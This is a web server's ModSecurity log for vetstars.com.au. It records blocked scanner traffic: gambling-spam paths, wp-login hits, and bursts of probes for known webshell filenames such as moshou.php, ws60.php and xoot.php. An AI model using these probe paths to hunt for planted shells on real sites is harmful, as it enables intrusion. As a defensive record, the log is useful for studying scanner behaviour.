[Thu Feb 26 10:10:45.456571 2026] [:error] [pid 25311:tid 25328] [client 51.75.119.154:44126] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aZ-rpdfdM__yZAgJFSsvHAAAAY4"]
[Thu Feb 26 10:10:48.333040 2026] [:error] [pid 25311:tid 25318] [client 51.75.119.154:44172] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aZ-rqNfdM__yZAgJFSsvNgAAAYQ"]
[Thu Feb 26 10:10:50.911145 2026] [:error] [pid 55618:tid 55640] [client 51.75.119.154:44192] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aZ-rqh61Vrh12f_8oWQoggAAARM"]
[Thu Feb 26 10:10:53.613809 2026] [:error] [pid 3883:tid 3893] [client 51.75.119.154:44222] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aZ-rreA33x90V6yYHajr6wAAAUc"]
[Thu Feb 26 10:10:56.402354 2026] [:error] [pid 3883:tid 3907] [client 51.75.119.154:41774] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZ-rsOA33x90V6yYHajr8gAAAVU"]
[Thu Feb 26 10:10:58.818437 2026] [:error] [pid 25311:tid 25326] [client 51.75.119.154:41802] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aZ-rstfdM__yZAgJFSsvTwAAAYw"]
[Thu Feb 26 10:11:01.491084 2026] [:error] [pid 3883:tid 3895] [client 51.75.119.154:41816] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aZ-rteA33x90V6yYHajsAAAAAUk"]
[Thu Feb 26 10:11:04.238452 2026] [:error] [pid 3883:tid 3892] [client 51.75.119.154:41850] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aZ-ruOA33x90V6yYHajsDwAAAUY"]
[Thu Feb 26 10:11:06.695642 2026] [:error] [pid 25311:tid 25324] [client 51.75.119.154:33862] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aZ-rutfdM__yZAgJFSsvYwAAAYo"]
[Thu Feb 26 10:11:09.270743 2026] [:error] [pid 25311:tid 25324] [client 51.75.119.154:33888] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZ-rvdfdM__yZAgJFSsvbwAAAYo"]
[Thu Feb 26 10:11:11.802470 2026] [:error] [pid 25311:tid 25315] [client 51.75.119.154:33894] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aZ-rv9fdM__yZAgJFSsvdwAAAYE"]
[Thu Feb 26 10:11:14.238599 2026] [:error] [pid 55122:tid 55142] [client 51.75.119.154:33938] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aZ-rwoLiR0OfjFxvcN-LqQAAANI"]
[Thu Feb 26 10:11:16.720698 2026] [:error] [pid 3883:tid 3903] [client 51.75.119.154:43394] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aZ-rxOA33x90V6yYHajsMgAAAVE"]
[Thu Feb 26 10:11:19.150787 2026] [:error] [pid 55618:tid 55621] [client 51.75.119.154:43414] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aZ-rxx61Vrh12f_8oWQozgAAAQA"]
[Thu Feb 26 10:11:21.643462 2026] [:error] [pid 55618:tid 55625] [client 51.75.119.154:43434] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aZ-ryR61Vrh12f_8oWQo1gAAAQQ"]
[Thu Feb 26 10:11:24.112211 2026] [:error] [pid 55122:tid 55138] [client 51.75.119.154:43460] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aZ-rzILiR0OfjFxvcN-LuwAAAM4"]
[Thu Feb 26 10:11:26.545161 2026] [:error] [pid 3883:tid 3907] [client 51.75.119.154:59020] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aZ-rzuA33x90V6yYHajsVAAAAVU"]
[Thu Feb 26 10:11:28.955612 2026] [:error] [pid 25311:tid 25328] [client 51.75.119.154:59052] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aZ-r0NfdM__yZAgJFSsvhAAAAY4"]
[Thu Feb 26 10:11:31.536994 2026] [:error] [pid 3883:tid 3888] [client 51.75.119.154:59068] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aZ-r0-A33x90V6yYHajsXwAAAUI"]
[Thu Feb 26 10:11:33.842104 2026] [:error] [pid 3883:tid 3893] [client 51.75.119.154:59094] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZ-r1eA33x90V6yYHajscQAAAUc"]
[Thu Feb 26 10:11:36.395599 2026] [:error] [pid 54991:tid 55026] [client 51.75.119.154:53458] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aZ-r2N4Zx-mJ8gbRB2huhQAAAEY"]
[Thu Feb 26 10:23:55.231270 2026] [:error] [pid 55122:tid 55142] [client 43.135.185.59:36368] [client 43.135.185.59] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aZ-uu4LiR0OfjFxvcN-PXQAAANI"]
[Thu Feb 26 11:10:14.764672 2026] [:error] [pid 55618:tid 55629] [client 104.37.191.206:59140] [client 104.37.191.206] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.37.191.206, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ-5lh61Vrh12f_8oWRB7wAAAQg"]
[Thu Feb 26 11:31:15.261943 2026] [:error] [pid 25311:tid 25328] [client 49.235.136.28:49258] [client 49.235.136.28] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aZ--g9fdM__yZAgJFStztgAAAY4"]
[Thu Feb 26 11:47:18.641315 2026] [:error] [pid 25311:tid 25317] [client 62.84.185.67:29754] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aZ_CRtfdM__yZAgJFSuGygAAAYM"]
[Thu Feb 26 11:47:23.460800 2026] [:error] [pid 3883:tid 3897] [client 62.84.185.67:29776] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aZ_CS-A33x90V6yYHagsVQAAAUs"]
[Thu Feb 26 11:49:41.273162 2026] [:error] [pid 25311:tid 25325] [client 172.190.142.176:5365] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aZ_C1dfdM__yZAgJFSuI6QAAAYs"]
[Thu Feb 26 11:49:41.717876 2026] [:error] [pid 55122:tid 55144] [client 172.190.142.176:12842] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aZ_C1YLiR0OfjFxvcN-n2wAAANQ"]
[Thu Feb 26 11:49:42.154833 2026] [:error] [pid 3883:tid 3888] [client 172.190.142.176:3796] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aZ_C1uA33x90V6yYHagt0QAAAUI"]
[Thu Feb 26 11:49:42.609862 2026] [:error] [pid 55618:tid 55638] [client 172.190.142.176:60202] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aZ_C1h61Vrh12f_8oWRVfAAAARE"]
[Thu Feb 26 11:49:43.066701 2026] [:error] [pid 55051:tid 55067] [client 172.190.142.176:26676] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moshou.php"] [unique_id "aZ_C1wmK1w2kZvh5eLHR9gAAAI0"]
[Thu Feb 26 11:49:43.516058 2026] [:error] [pid 55618:tid 55628] [client 172.190.142.176:38135] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moshou.php"] [unique_id "aZ_C1x61Vrh12f_8oWRVfwAAAQc"]
[Thu Feb 26 11:49:43.954919 2026] [:error] [pid 55122:tid 55125] [client 172.190.142.176:17999] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moshou.php"] [unique_id "aZ_C14LiR0OfjFxvcN-n3wAAAME"]
[Thu Feb 26 11:49:44.425348 2026] [:error] [pid 3883:tid 3904] [client 172.190.142.176:38083] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moshou.php"] [unique_id "aZ_C2OA33x90V6yYHagt1wAAAVI"]
[Thu Feb 26 11:49:44.864507 2026] [:error] [pid 55122:tid 55128] [client 172.190.142.176:38082] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seetox.php"] [unique_id "aZ_C2ILiR0OfjFxvcN-n4AAAAMQ"]
[Thu Feb 26 11:49:45.300261 2026] [:error] [pid 3883:tid 3901] [client 172.190.142.176:55102] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seetox.php"] [unique_id "aZ_C2eA33x90V6yYHagt3AAAAU8"]
[Thu Feb 26 11:49:45.742428 2026] [:error] [pid 55618:tid 55623] [client 172.190.142.176:5238] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seetox.php"] [unique_id "aZ_C2R61Vrh12f_8oWRVgwAAAQI"]
[Thu Feb 26 11:49:46.205019 2026] [:error] [pid 55051:tid 55066] [client 172.190.142.176:5762] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seetox.php"] [unique_id "aZ_C2gmK1w2kZvh5eLHR-AAAAIw"]
[Thu Feb 26 11:49:46.620532 2026] [:error] [pid 3883:tid 3905] [client 172.190.142.176:3651] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dom.php"] [unique_id "aZ_C2uA33x90V6yYHagt4AAAAVM"]
[Thu Feb 26 11:49:47.039137 2026] [:error] [pid 55051:tid 55062] [client 172.190.142.176:26474] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dom.php"] [unique_id "aZ_C2wmK1w2kZvh5eLHR-wAAAIg"]
[Thu Feb 26 11:49:47.488190 2026] [:error] [pid 55122:tid 55139] [client 172.190.142.176:5217] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dom.php"] [unique_id "aZ_C24LiR0OfjFxvcN-n6QAAAM8"]
[Thu Feb 26 11:49:47.934078 2026] [:error] [pid 54991:tid 55023] [client 172.190.142.176:50085] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dom.php"] [unique_id "aZ_C294Zx-mJ8gbRB2h_uQAAAEM"]
[Thu Feb 26 11:49:48.365439 2026] [:error] [pid 3883:tid 3907] [client 172.190.142.176:5788] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws60.php"] [unique_id "aZ_C3OA33x90V6yYHagt5QAAAVU"]
[Thu Feb 26 11:49:48.798378 2026] [:error] [pid 25311:tid 25329] [client 172.190.142.176:38093] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws60.php"] [unique_id "aZ_C3NfdM__yZAgJFSuI7gAAAY8"]
[Thu Feb 26 11:49:49.245292 2026] [:error] [pid 25311:tid 25319] [client 172.190.142.176:38107] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws60.php"] [unique_id "aZ_C3dfdM__yZAgJFSuI8AAAAYU"]
[Thu Feb 26 11:49:49.672752 2026] [:error] [pid 3883:tid 3902] [client 172.190.142.176:5574] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws60.php"] [unique_id "aZ_C3eA33x90V6yYHagt7QAAAVA"]
[Thu Feb 26 11:49:50.121180 2026] [:error] [pid 3883:tid 3894] [client 172.190.142.176:58709] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/samiri.php"] [unique_id "aZ_C3uA33x90V6yYHagt8QAAAUg"]
[Thu Feb 26 11:49:50.549741 2026] [:error] [pid 55051:tid 55075] [client 172.190.142.176:18875] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/samiri.php"] [unique_id "aZ_C3gmK1w2kZvh5eLHR_QAAAJU"]
[Thu Feb 26 11:49:51.007443 2026] [:error] [pid 25311:tid 25320] [client 172.190.142.176:5785] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/samiri.php"] [unique_id "aZ_C39fdM__yZAgJFSuI8QAAAYY"]
[Thu Feb 26 11:49:51.459892 2026] [:error] [pid 25311:tid 25336] [client 172.190.142.176:28631] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/samiri.php"] [unique_id "aZ_C39fdM__yZAgJFSuI9AAAAZY"]
[Thu Feb 26 11:49:51.885065 2026] [:error] [pid 54990:tid 55009] [client 172.190.142.176:37216] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins.php"] [unique_id "aZ_C33tr2qmt_mBhH2zTowAAABA"]
[Thu Feb 26 11:49:52.321719 2026] [:error] [pid 25311:tid 25320] [client 172.190.142.176:56117] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins.php"] [unique_id "aZ_C4NfdM__yZAgJFSuJAwAAAYY"]
[Thu Feb 26 11:49:52.764139 2026] [:error] [pid 25311:tid 25328] [client 172.190.142.176:13709] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins.php"] [unique_id "aZ_C4NfdM__yZAgJFSuJBgAAAY4"]
[Thu Feb 26 11:49:53.189280 2026] [:error] [pid 25311:tid 25316] [client 172.190.142.176:56089] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins.php"] [unique_id "aZ_C4dfdM__yZAgJFSuJCAAAAYI"]
[Thu Feb 26 11:49:53.621763 2026] [:error] [pid 25311:tid 25318] [client 172.190.142.176:38132] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xoot.php"] [unique_id "aZ_C4dfdM__yZAgJFSuJDQAAAYQ"]
